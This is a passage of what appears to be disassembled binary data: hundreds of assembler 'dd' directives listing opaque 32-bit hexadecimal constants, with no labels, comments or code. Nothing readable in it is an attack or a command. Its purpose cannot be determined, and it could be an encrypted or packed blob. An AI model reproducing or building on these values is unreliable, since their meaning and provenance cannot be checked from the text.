0AF6E8D41h, 640C3CBBh, 0BAF0A481h dd 8930232Ah, 49E149D4h, 19827810h, 503794E6h, 8BB965C9h dd 1E4010FEh, 880F0126h, 0A338C067h, 8D443D1h, 7199EEEEh dd 61846A81h, 2C851B90h, 0AEEAC640h, 0B05E85FCh, 82343CB3h dd 1CE241D0h, 0D610774Eh dd 607BA700h, 67DD07F8h, 6ECAFF35h, 0E0863FD3h, 8837A837h dd 3EC803E3h, 0CC15CC5Eh, 35269568h, 4D84B8C7h, 338F18D7h dd 8534E681h, 0ABAD21F2h, 0BA370B4h, 0E32B3B53h, 7F17BA67h dd 9A4166DBh, 0BB9BFEC6h, 8820169Fh, 5151700h, 40FAB050h dd 0F9371630h, 0BE02F8B9h, 0F54F34CAh, 18038B44h, 0F5ACDBCFh dd 0D8418444h, 5D318050h, 55A6678Ch, 0A9AC1B2h, 673ADCB8h dd 0F53F59D5h, 0DAC34E2Fh, 380A284Ah, 0CBDA4A2Bh, 4E8302CEh dd 0D674A28Ah, 60D6D5C6h, 1E0D9FB5h, 353E917h, 998F11C5h dd 0D9835326h, 4F04FC7Ah, 96032A8Dh, 52764DB1h, 0FF14D9E8h dd 6D2CDC4Eh, 9979FD0Fh, 8412E75Fh, 0ED6E12CAh, 0C625A20Ch dd 6ECE3262h, 926E8170h, 373F2B34h, 28D656DCh, 59FF5DFCh dd 2937ED23h, 0F94A9266h, 0B961FB5Eh, 3F24E10h, 219551A4h dd 833AB023h, 5F1FBBB9h, 0CBF4AAD9h, 85739795h, 1046B567h dd 0F162DE60h, 0CCD766Ah, 0C434DB6Dh, 87D6AC72h, 0ED2040A9h dd 0C256D11Fh, 0CA60D146h, 8A242D3h, 27BCBC5Ch, 6356DCADh dd 37D07446h, 6AFE61ABh, 3BD01A8Eh, 81502911h, 0E3A823E4h dd 98FFF2C1h, 865D8E9Fh, 0AD288A1Ch, 671DDF20h, 0FD733FB5h dd 8160866Ch, 0C935C329h, 0EAAA3747h, 0BD7F86FEh, 23BA3EB3h dd 179C8044h, 0EE671D71h, 0D255DF52h, 0CF850502h, 9CB11E8Bh dd 0B38F5DD6h, 0A6C26CB0h, 6040C36Ah, 0B4FD70ECh, 81B329FAh dd 0CC4A2F19h, 4D8C4F75h, 0EB394BABh, 5BA785F9h, 53D159D8h dd 52A6B6DEh, 0CF9D3956h, 0B63E835Bh, 4FE6BB20h, 275707EBh dd 75A33A10h, 0E57EF3C3h, 0E325569Ch, 827DCC9h, 0DE52A49Bh dd 48D81295h, 678264C2h, 51C6C7Bh, 0AC346BAh, 4CD05D2Bh dd 1A560129h, 0BCB9C9D7h, 6C2ED28Ch, 0FF2BAEA6h, 0C1AC343Bh dd 0AF173FD7h, 9443A136h, 65787228h, 0AB3DC344h, 0B0E6DEBDh dd 0AF5AC643h, 48A01FFEh, 49E96FB2h, 288E8330h, 9A2A8D23h dd 5E8024EFh, 0A3177515h, 7E448F1h, 610F2A0Ah, 3608BDCBh dd 1D27267h, 0F1EF19FFh, 827280E8h, 924EB46Eh, 5507E4AEh dd 0FC699A45h, 121FCAFCh, 22EF9D22h, 7AD38495h, 1112E77Dh dd 39E280C7h, 859F5D19h, 0F6F11EC7h, 0BB3951F7h, 0B252301Ch dd 4BFA6608h, 0B15E3FE4h, 0F919105Ch, 36C3D183h, 72DA37FBh dd 0A52A6EB0h, 1D3FC2D0h, 35CB8A5Eh, 7C9C135Ch, 50FA55FDh dd 0C53FAF33h, 400C5CE5h, 3D9B319Ch, 74EE921Bh, 0E3AB61F0h dd 5184EFE5h, 45D941CAh, 5CD55B1Dh, 0C871F8AAh, 0BE009F69h dd 0BB3A4CA8h, 7427B827h, 769F09FCh, 60EB2C9Ch, 279D76F8h dd 0A3D90FA5h, 1BF823DEh, 0E85A44A9h, 0FB50CA73h, 0F569FF5Eh dd 0B01E9077h, 0F081B790h, 853B87B3h, 749F56CFh, 44A631D5h dd 2EDE12ECh, 608762FFh, 0F0360EA3h, 0D67AACA4h, 903CDC09h dd 5B063EDBh, 87916DF8h, 0A17B27D9h, 92858313h, 0BB43FE4Bh dd 0FB50D336h, 840F8166h, 0A93FD592h, 325BDD6h, 0EB511ECDh dd 0E958F478h, 510FAF37h, 70D81FF3h, 65AD35F2h, 0E3794F73h dd 0DA01F952h, 0B80BE07Ch, 0C7B0B120h, 0BC2E9609h, 901002BCh dd 4A25575Dh, 0AAC335FBh, 6B9FF0F5h, 8F5A38C9h, 0A1D8661Fh dd 2E97241Dh, 0EA7E3DF8h, 7033AD8h, 0BF5E3CF9h, 3041C3EDh dd 0F89A0E12h, 0FC6B6456h, 5A2DF705h, 0E7AA56E2h, 444EE401h dd 7FC5E6D4h, 0E698489Dh, 22F3BD6Fh, 6FE51D0Eh, 0D28697A1h dd 37A60839h, 4A351D89h, 0A799E7ACh, 0E71BEF61h, 0A1569789h dd 4463511Ch, 213AC766h, 0F751FF04h, 0C89A6036h, 0E263A51Ah dd 6619692Ch, 0AEAE8EBBh, 221ED162h, 9FD65B8Ch, 61D64ABDh dd 334D1A84h, 25F76FFBh, 0F98A7214h, 3527CE34h, 5FF926C0h dd 0B65C3997h, 0B3B2E8E2h, 0E22AB125h, 3BA0822Fh, 9035EBC0h dd 3E39E084h, 10E89091h, 0A8A04C17h, 5FDC760Ch, 98A1170Eh dd 0CA56328Ch, 0C2963031h, 38FA0370h, 3F4FBA5Fh, 7E174B4h dd 5C56E54Eh, 0CC961596h, 86F70969h, 93D323B6h, 0DF91003Bh dd 52EF0E4Ah, 9F6B4DBCh, 0F150DE8Eh, 0F6FDB152h, 0C9A9DFA6h dd 2A397470h, 0EC51C06Ah, 0B8F8087Fh, 96D86C88h, 30D962E6h dd 105D03F1h, 2EFDC802h, 56956FF5h, 76110022h, 14F8BAFFh dd 207B6C92h, 0C31A02A5h, 8A175E3Dh, 7725E343h, 0A225ACC7h dd 0B3B22850h, 579E8F70h, 9DBBCD89h, 6F2094FFh, 24F54BECh dd 132B2A46h, 0A110883h, 0A59906BAh, 5414EC33h, 0B356FD3Ah dd 5FF9F7F6h, 81AF88A3h, 0B06E52ECh, 4F91721Bh, 7ABA26C0h dd 19232C3h, 0FE75597Dh, 58FF426Bh, 0A300DCB4h, 958F476Ah dd 7EB45DA7h, 5ED6116h, 0F100FA1Ah, 871D15DBh, 0B414503Fh dd 3B0F00FFh, 2BF53B3Ch, 35F876FEh, 0C868FD4Ah, 0CC25EE98h dd 50CDB592h, 812936DFh, 0B133D32Ch, 684485BDh, 6E06AAB6h dd 0A4AF26C3h, 6DD45954h, 0E07C998h, 0A4B314BCh, 3D9B93ECh dd 340BB790h, 5D078C48h, 40B04659h, 1C32C07Ch, 0ECA09EFFh dd 20DD5105h, 0FE7A527Eh, 8BD43070h, 0F0950639h, 6B4B5FD5h dd 0A40168CFh, 819837E1h, 6929339Fh, 801EAABh, 0C770C9AAh dd 87E6AD9h, 0EE47F75Eh, 952FA543h, 78C3ACF1h, 14D678F9h dd 0C89F8C40h, 0D9B950Bh, 9A227FDAh, 43986DD0h, 9335C57Ah dd 345C118Eh, 6CCEB47Fh, 6ED93CCCh, 3123B92h, 7B1CB618h dd 4ABCC6B3h, 42525680h, 3C31EDA8h, 62D7BE9Ch, 0BBD6D5ABh dd 0E697BF97h, 0A829F903h, 0DF9E6898h, 0E39D54D6h, 69FA30Bh dd 3D2EBD9Fh, 0D647E568h, 24EDC80Fh, 4AF2A86h, 0B49CC68Ah dd 0BFEF9B18h, 0EB46E8ACh, 0E64DAAA8h, 6A74416h, 3C8F74EFh dd 129B455Ah, 57A26169h, 41C307F6h, 40D57BA6h, 0B1B202E1h dd 0E416518Ah, 28B39047h, 97550C7h, 0F234B10Dh, 0F656E470h dd 26DA044Dh, 0E6A34444h, 2A3156C0h, 714FDB0h, 42628020h dd 70041E9Bh, 0E35ACD73h, 95145DFEh, 0CB2C0B0Ch, 29F9BD2Bh dd 33E7648Ch, 0B9428A02h, 0B9945B6Fh, 0E59BA751h, 0F297DF6Bh dd 8CE18335h, 0A417330h, 31FA39B1h, 7C173E0Bh, 0AE587307h dd 38E1F7B9h, 75DB7DC9h, 0F0ACA59h, 0E315E543h, 6255A951h dd 0AD511266h, 0FECC6416h, 0BC04E24Dh, 0ADE74DCBh, 0A57CAE30h dd 31978732h, 0C39886B2h, 71848003h, 0CDBBA63Bh, 3664A31Dh dd 71DC5D11h, 9121637h, 5BECFD23h, 0F143CD4Dh, 0E1A4D4BBh dd 37ACBE51h, 1A2C04h, 9FA08856h, 960EFC4Ch, 0D66F2F00h dd 2679A118h, 523EA876h, 4F01F722h, 36E45405h, 54C78C3Ch dd 56DF15DCh, 0AA2E28CAh, 1FEE2B0Fh, 6FEACC87h, 31AFBAAh dd 39A30782h, 0A371CB70h, 8EC4741Bh, 0C864CF69h, 4C8A930Fh dd 6DB63E95h, 36F5EBCDh, 817BE199h, 0FEB62C12h, 3C110822h dd 0F32AEF7Fh, 8F262BF3h, 8A6E8142h, 0F52ABA43h, 0BAAC73FBh dd 0CEB7E45Bh, 0F2F865A5h, 9763C879h, 0CC306701h, 0D61996DAh dd 70F809F4h, 1EE212B0h, 6DE05515h, 2AD118D1h, 3F0777C5h dd 0B57E1C4Fh, 8FDD4391h, 0DE83678Dh, 308331Fh, 2115430h dd 5613854Eh, 0B7037EE0h, 55DEE52Ch, 3B3A0788h, 80D641D4h dd 17DAC516h, 6020EC75h, 7DD137D1h, 581EB35Ch, 1EEBAFB6h dd 59ECF14Eh, 7083B929h, 9B7F4C88h, 0D280FFB1h, 0AC1C8273h dd 4FE45E45h, 5D2B1987h, 0EA48C113h, 0FFA1B6Eh, 0EC733BD7h dd 0E4C4682Fh, 0E5B56B85h, 7285FAF0h, 85B87D93h, 0F46A890h dd 42F538D8h, 77C6F4Bh, 2BEB099Eh, 0DC9A5215h, 0B54FEB0Bh dd 22E2FE99h, 1F470AC3h dd 0D7857923h, 6D9BEC70h, 0E85700AAh, 0B2C6947Fh, 6EB207C5h dd 5D682B07h, 3D012106h, 43D49920h, 49427CF9h, 51BF6D54h dd 38958734h, 0BE7B35FEh, 0F03B2DF4h, 0B37B3202h, 74D742F5h dd 0C6AC75E4h, 5307D844h, 0EF9C2062h, 0EF1F9476h, 0A962B276h dd 1AFC181Bh, 66800FA5h, 4EE7A467h, 0EB65B1E5h, 53090BAAh dd 75A1A23Ch, 0C1F4A0D1h, 0C64BC033h, 0C48C15C0h, 0B5C1C662h dd 0DDB7932Ch, 20EC5DF7h, 10D3A0FBh, 0C81735CFh, 2CC7246Ah dd 0C74F2A0h, 7D686ECDh, 0BC15C19Ah, 0EB5A18C5h, 3F2DC022h dd 0FE0097Bh, 446B528h, 0E5A27B37h, 0D575E303h, 0A06F7061h dd 0F6839935h, 5209418Dh, 67E7BD58h, 0ECA10AF3h, 0CCEA8434h dd 9202AE9Fh, 609CE22Eh, 34371FBAh, 0A82F10DEh, 0DA32FF86h dd 1A4F5CA5h, 0DCA0659Bh, 0A3E37334h, 5FEB6D5Eh, 23FF4FD5h dd 958B30B3h, 0FAFD5E3Ah, 4DC5B43Fh, 0CD8A0BEFh, 43CDD1FAh dd 0A40ACA2Ch, 3CC2B9ACh, 0B447E98Dh, 0E0413722h, 6FA718FDh dd 0B5B8F40h, 0D85C4112h, 8278F65Fh, 0DC179B5Bh, 7A9ECA1Eh dd 62DC6760h, 2DD0A656h, 9F1D7D39h, 44CDEF1Fh, 22B7A834h dd 99B29651h, 7D9DC8EEh, 69CE6B89h, 6603E764h, 977A1C0Bh dd 5BFC2AEFh, 57AE46CEh, 6565B75Ch, 418B1CBCh, 38D40471h dd 95134CE6h, 0DB36E098h, 1734AB7Dh, 9FD5C31Dh, 2BAD5510h dd 887ADA85h, 0AB0AD47Ch, 0F0B241Fh, 0ED6D9AA4h, 43A7010h dd 1BB040CEh, 0A63AB66Ah, 44F071DDh, 0C2B329AFh, 1AEE46C6h dd 2ED52DEAh, 8A67F57Eh, 593C9E72h, 0C0CB5090h, 9C6806B9h dd 7F728B6Eh, 1BBB138Ch, 0AFD7C525h, 0C3680EB1h, 0FD13FB70h dd 0C1639901h, 48F92B00h, 4C02384Eh, 14B839D8h, 0AD46C76Ah dd 73F88F3Eh, 4AD51DFEh, 450DBEBEh, 0D37E1CB8h, 0BC6177ADh dd 0CD16F332h, 0B01CE41Ah, 856D9B59h, 0EA56FC6Bh, 8A35F456h dd 649A2ECBh, 0E110F82Eh, 0CB1E043Ch, 0B7198675h, 77C82CCBh dd 38D372EBh, 43B425B4h, 947302B7h, 8064E27Eh, 223C42CCh dd 0EA73C1D4h, 6FC55D18h, 28B338BBh, 0B393B18Fh, 0DB00F098h dd 2819FF60h, 7CC18A30h, 5EE5992h, 0ECF15D92h, 0BE09DC2Bh dd 71CE6C00h, 72A8DC83h, 2696058Ah, 65E349AEh, 0DB5D1FAEh dd 0B12D1C34h, 3ED17EC1h, 18E85EA5h, 0AE7573EAh, 0CA46799h dd 0F71BCD57h, 28C6BD04h, 0B02EC29Bh, 0B737AE68h, 0AE38985Bh dd 9BCDC066h, 26B00DE6h, 0C191AB89h, 0BF0C9B51h, 0DB53C02Eh dd 0BB1BE172h, 0C0494D7h, 0C2B436DAh, 5CFE74DEh, 76964588h dd 0BE5413D5h, 0A8B7D595h, 7D7AB006h, 0DA731E9h, 362C172Bh dd 0E19E36B6h, 0E8779426h, 2E2E901Eh, 77AD9BDBh, 92B72199h dd 0A9AD498Ah, 25C59E2Fh, 20DE2BD6h, 7998EFA2h, 568C3A9Ah dd 6FFA7A20h, 1DCC2DA5h, 9C948E8h, 8A463EE1h, 34C85204h dd 8D10DA38h, 0BA33D175h, 0AFD6B058h, 0A41B8403h, 8820E85Bh dd 66C45A1Ch, 0F79E22CCh, 9A91E7B9h, 3CB66EAh, 0ACF93A3h dd 3EDC61FAh, 7DDD21E1h, 0DEB4E485h, 5F118A9Fh, 40D216F9h dd 49814B91h, 49A24FA4h, 48F578F5h, 114EEA20h, 6FFD12F0h dd 5A8F52ACh, 70DCBEAAh, 73C40B87h, 0F62A3DE6h, 14B1D910h dd 0AF71F86Dh, 605EFB4Eh, 27E95DBDh, 67D93EB6h, 487C0BBBh dd 0DA982812h, 0EC5D2023h, 0F85FBC33h, 9D68E712h, 10A5A120h dd 0F27F239Bh, 952BAC07h, 8F7D167Fh, 0E20F815Ah, 6C9C442Ch dd 50AB2C8Ah, 0F892359Fh, 0D692F64Dh, 9B4A954h, 0ED432832h dd 0D5659574h, 9D83456Eh, 0F179FFA4h, 0E0CBF1Dh, 0A35628B3h dd 0DD76ED0h, 14E056ACh, 0AB51DBEDh, 65D44410h, 958822C5h dd 0E3708274h, 4C0FE87Dh, 2EE14A38h, 7CDE9C04h, 7CEF499Ch dd 2FBA05C6h, 50D2EC40h, 7595E9C2h, 0E507985Dh, 4CA85B13h dd 16EA5CDEh, 1DAB9903h, 8D593626h, 47E4F851h, 0AE9B2885h dd 6DCCA542h, 0A6003A83h, 79152CF2h, 49A704FDh, 0F378E5C3h dd 0DC37A419h, 3FB6903Dh, 0B36C193h, 0E167B147h, 1CCEBAAFh dd 73CBE66Fh, 70FE7EE1h, 5CC00BFBh, 63F01898h, 8EB46CFDh dd 0B8AE1582h, 0B26829DDh, 3B464C30h, 0E6AC5ABBh, 0E11EE34Fh dd 41666464h, 7E864F0Bh, 7DED71D1h, 6FA4881h, 2A44ED3h dd 0D852D495h, 5F308F40h, 0B3E97497h, 88478440h, 8334974Dh dd 903A3D91h, 289E69E4h, 0B354ACF3h, 0D010E791h, 65562C02h dd 180CB806h, 72C664EBh, 78E35DAFh, 9E87983h, 24CF43ACh dd 2F0D0496h, 5CEB6B2Dh, 0DF845F5h, 91C216F5h, 0A4A2F444h dd 0C736906Eh, 3E2FDD34h, 6FE5522Fh, 43F272F3h, 2D262ABFh dd 0A943CF89h, 6AD8B899h, 0A789C971h, 0E160348Fh, 8D13940Ch dd 5AFB5ACCh, 0BCAEE2C5h, 39D90ED0h, 0CD8331BFh, 0AA3BE773h dd 46BA59E6h, 0B8E92C7Bh, 443FA893h, 1FF165C5h, 6C59C32Eh dd 0BAC23B8Ch, 0BE61DA4Eh, 0F648E662h, 3DE0DF4Dh, 299C7B03h dd 0F09A3AC2h, 924C8476h, 8CBCA382h, 6933E193h, 0EC6BD944h dd 6488EA78h, 82991CCEh, 6F13891Bh, 136111EFh, 7F301735h dd 238B17DAh, 701E8C54h, 12C5719Fh, 748A66A0h, 5420FB91h dd 0E15ED3F4h, 0AE47BF2Bh, 0C1372357h, 2A2E1F05h, 77FA7B9Fh dd 0D474E800h, 5EA90F17h, 749976EAh, 0CFC06182h, 53977F0Dh dd 44A25CDAh, 1E3CC57Ah, 0D8C9665Ch, 0F96BFA6Fh, 2509F161h dd 0F45F372Ah, 0BEE160A1h, 0A502C98Ah, 0AF14931Eh, 4927A551h dd 7EEE1202h, 4D056374h, 0CD56BCBh, 2F66BD1h, 0EC6D1CC8h dd 0AA04E410h, 0DF5F07BBh, 2887B60Dh, 8D76F372h, 0FF9956Fh dd 0DC7C06CFh, 4DFB3116h, 72F07215h, 259E7DE6h, 86279056h dd 0B1453A14h, 9DB35E11h, 5D9E67C1h, 857315CFh, 0B09946ECh dd 0D15F27D8h, 4DF1653Fh, 6BDD3CBFh, 5B95A36Dh, 5EB1ABADh dd 6DD2E80h, 1B46AF94h, 6DD200F9h, 7DBE1BFEh, 9D94C5CFh dd 0D021DF53h, 0B279DE63h, 0C209FA59h, 1ECF9242h, 0B8085435h dd 0BECA194Eh, 827FFD59h, 9D71F503h, 0C435E545h, 0B8CC8F2Fh dd 0E19B2C08h, 0F075816Eh, 8409DB4Bh, 4621DF37h, 0AC4A8856h dd 0F9C0B33Eh, 0F1AE10C5h, 6A5B311Bh, 251ABC03h, 67943C95h dd 447D06ADh, 0B43DA600h, 493C9B5Bh, 80FA7B21h, 0A348B619h dd 0D12ED019h, 53E5AA42h, 8153F2F4h, 3B5FE71Ch, 6FD848C8h dd 0F016243Ah, 0BE628F15h, 9D46FB8Bh, 0C25DE762h, 10E59B74h dd 9465EBD0h, 443CF540h, 0F274D9A3h, 0C629C15h, 42A0DE16h dd 0AE14D673h, 65D874C1h, 579046FCh, 1D25B79Ch, 0C40D20D2h dd 922E0A3Bh, 4FF201F5h, 0B92586EBh, 71EECC1Ch, 0BFE8A1B8h dd 82F95091h, 0F3A048EFh, 0F8569931h, 0ED030C30h, 0CA63B68Ah dd 8F888E00h, 5BE5AB59h, 8F97B99h, 3ED464F5h, 584E19BBh dd 3C32C2F6h, 0B9903CBDh, 76F41AB6h, 45BE26C4h, 34CA3AA9h dd 0C9980Eh, 0CA67AAFFh, 0AF09EE14h, 7A23DC44h, 98749CBh dd 0D5AAF98Fh, 28CCE54h, 0C676E610h, 1315C921h, 0CC718E39h dd 0FE5D542Eh, 3D0CE37Eh, 7E6F6D6h, 0FB42EEEh, 83E4A25h dd 4ACD73D2h, 34F3BF82h, 26E5A568h, 38FFA366h, 4219D174h dd 6C3BF78Ah, 8E3294D0h, 8655E538h, 0F88F23F6h, 55BFB124h dd 0C3A10EF4h, 492B886Ah, 44BB070Eh, 4E281DAFh, 5FC263D5h dd 8DED98E1h, 3FD6E52h, 39AF2096h, 0D04DF73Ch, 28E5D371h dd 85366E3Ch, 17B85EFBh, 21E187BFh, 0A9B45276h, 6A1CC17Fh dd 0C45A2FB9h, 0F0389D73h, 20D78B3Eh, 0BA01496Ch, 0E81E5472h dd 7CBB07B2h, 7EBDFD30h dd 70B7FB3Eh, 8AC1194Ch, 0D4E33F72h, 0E6354598h, 5B6E83D6h dd 0BDE6D005h, 0C1F72D5Bh, 0C7200E8Bh, 7152B499h, 0C82C3217h dd 4CA79FE6h, 1E096554h, 0D8CB3B22h, 9285F9E8h, 0C4CFD79Eh dd 9AD0063Ch, 0E091564h, 80B0B02h, 2050908h, 340F071Eh dd 0C6D12D3Ch, 90E3F3CAh, 4A5DB180h, 0C375F76h, 77ADDBE4h dd 0CDEA1041h, 4F6C8EAFh, 0C1E6042Dh, 3B508ABBh, 85B2E801h dd 0D7043657h, 93E6CA5h, 25BA01D3h, 0AA4B7A64h, 5BA435D4h dd 0D831A9FAh, 802CC244h, 1F436E9Bh, 2977E10Fh, 0B655F5E6h dd 0B76F292Ah, 52001002h, 10A0DA9Ch, 0A999092Dh, 0BB3C3E02h dd 4D8E171h, 66F37DF9h, 6BED76FEh, 50AFD214h, 0BE7828CDh dd 0D4712BD2h, 28828B5Ah, 24CE7506h, 2316CF73h, 0E0AAA0DCh dd 18DC99F1h, 8A1D9D43h, 4AF737D4h, 608E6CD4h, 0E1BC3392h dd 88DEBE6Ah, 4811751Dh, 0B95305BFh, 0E344603h, 0F6972B46h dd 55ECCAB8h, 0E88F50B6h, 0FF87B078h, 775D829h, 0D54FCB83h dd 0A89B1E30h, 58D8BDA3h, 7198FA36h, 0E3682233h, 0F75749ADh dd 7F48F601h, 398235B5h, 0E35AD921h, 1D52C305h, 1E6B03EFh dd 0DB780ED7h, 0EA702E4Bh, 5316C0E2h, 0C70188C1h, 49A1657Dh dd 6966686h, 0E39658D2h, 0F85C383Bh, 0C328FC6Ah, 50019809h dd 5E1D13A5h, 31A191CEh, 0F95DC37Bh, 0E63ED7B9h, 84A8765Fh dd 39E2AA25h, 0A660B7C5h, 0EB738170h, 0F462BF6Ch, 116FE05Dh dd 0BE7C14ECh, 0CB0B8F9h, 0C0713925h, 9322E77h, 56C016FAh dd 5445ADDFh, 9070B056h, 0B02EEF6Ah, 0C61F64FBh, 274D278Ah dd 1787165Eh, 1BE61FE3h, 32D7298Dh, 379D0901h, 0FD55F94Bh dd 75C7C11h, 66DF61C0h, 6D0ACFB8h, 0D8B48DAAh, 660DCD7Bh dd 0BB865FAFh, 77C6EC76h, 0AD2423E4h, 0B4EE2BE7h, 0B6044DD8h dd 0FCAD2E15h, 0AEB09249h, 0FB3BC6D1h, 0B08FEB73h, 50F428E9h dd 0B6ABA504h, 0D965ED4Fh, 0BAE568Ch, 6AD9D6A0h, 6579E37Fh dd 6E8779D0h, 0E2DBF9A6h, 23875F1Dh, 65A9651Dh, 7D1BB60Fh dd 35033436h, 74A40875h, 0C52A8866h, 2EA2714Ah, 0FCC995C7h dd 0E15F91FAh, 9D0AB167h, 607EF4E2h, 222EDFFDh, 95315637h dd 18205264h, 4C26FE7Ah, 12A65DB8h, 0F3341306h, 95B852B2h dd 48A27EA1h, 3C203B10h, 1FC7ADD2h, 92A24955h, 45349379h dd 0ABBE2066h, 4BB25FFFh, 7F1D6610h, 95679D56h, 6D8F4A57h dd 60BC79A1h, 0BF472E40h, 0F61F5C06h, 7220C13Eh, 0ED929513h dd 7C808878h, 0F193871h, 93884611h, 0CB41C451h, 0BFF300EDh dd 0B34F1193h, 842C8BD2h, 0CA4726E2h, 5475341Eh, 28E5F9A9h dd 0E76DFAAh, 38199BF1h, 0B168809Ah, 6BA87A48h, 47A5669Fh dd 481590F6h, 1622D8EEh, 1C3AF059h, 15183A7Fh, 31A393C0h dd 0CCB0035Ah, 0C2C240EAh, 32D3043Fh, 62DB2DCCh, 24A19EA4h dd 0DD73EC78h, 7DC43F0Fh, 461C04FFh, 0D46941F7h, 3A8DA728h dd 850C56B2h, 6325E785h, 67F58735h, 0EF12DA89h, 0A0BA5F69h dd 7F3FD0BBh, 0F3597D3h, 0B65E1C60h, 4CD604CAh, 0DBAE67EAh dd 704D62Ah, 8B4CA667h, 7A6AECBh, 8FD0101Eh, 55378FF1h dd 0CD5362B8h, 0AB33733h, 9114C9Dh, 0AEF643C5h, 4C94548Ah dd 0A02A670Fh, 6CD8C8B0h, 0DB5D59F3h, 63A8842Eh, 8768F6A9h dd 0C340FFC3h, 3AAC03A4h, 0F65FD674h, 0F504973Bh, 9B4CCEEEh dd 8C29E3D5h, 0F505AE75h, 8EAE0AFh, 2D2FB984h, 8C44BA7Fh dd 0D562BE19h, 0A1E0A33Fh, 0F062BECDh, 4ADF5D21h, 807E209Ah dd 933DAC61h, 0A9857FA1h, 0A24E8C68h, 24CF8A14h, 8165F86h dd 984C44E1h, 1A8F85E2h, 5049DC79h, 29D81CD5h, 21BC1A3h dd 74454D05h, 88A349D8h, 0DBF4B7A6h, 0EA819F3Bh, 0ECBB1F5h dd 7210C979h, 0A87DF692h, 6E98F07Dh, 1264CBBFh, 735C810h dd 4A5299C5h, 7D9BE7A9h, 0D4AE554h, 7BD2638Eh, 76573CC1h dd 0C049E944h, 2430819h, 0C5D20729h, 0EB08628h, 95C97F46h dd 8DA44563h, 0A990DAE3h, 9030062h, 0B9FB231Dh, 2B73783Ch dd 46940CDCh, 22ED1250h, 0F10232A5h, 0CF6F3FB7h, 67DA2285h dd 889996B9h, 2F6553ADh, 0F6B83FF9h, 3530FB7Bh, 0A40DAFC3h dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h, 396F0094h dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h, 0F72D3F62h dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h, 13F0D06h dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h, 8725376Bh dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h, 3D518DDDh dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h, 65B7B608h dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch, 8F33B0E6h dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h, 0FE0FFD40h dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h, 60C5E27Ah dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh, 0D0192513h dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh, 0C78EB071h dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h, 810B4911h dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h, 0A6C5F312h dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h, 9493BD82h dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh, 45DB0A6Ah dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h, 0E34BE7DEh dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h, 0B77780F2h dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh, 0AF572ECBh dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h dd 12AA945Eh, 4FF0D18Eh dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h, 0CB660DC1h dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h, 661C9572h dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h, 4BC7AFB7h dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h dd 0C56200F8h, 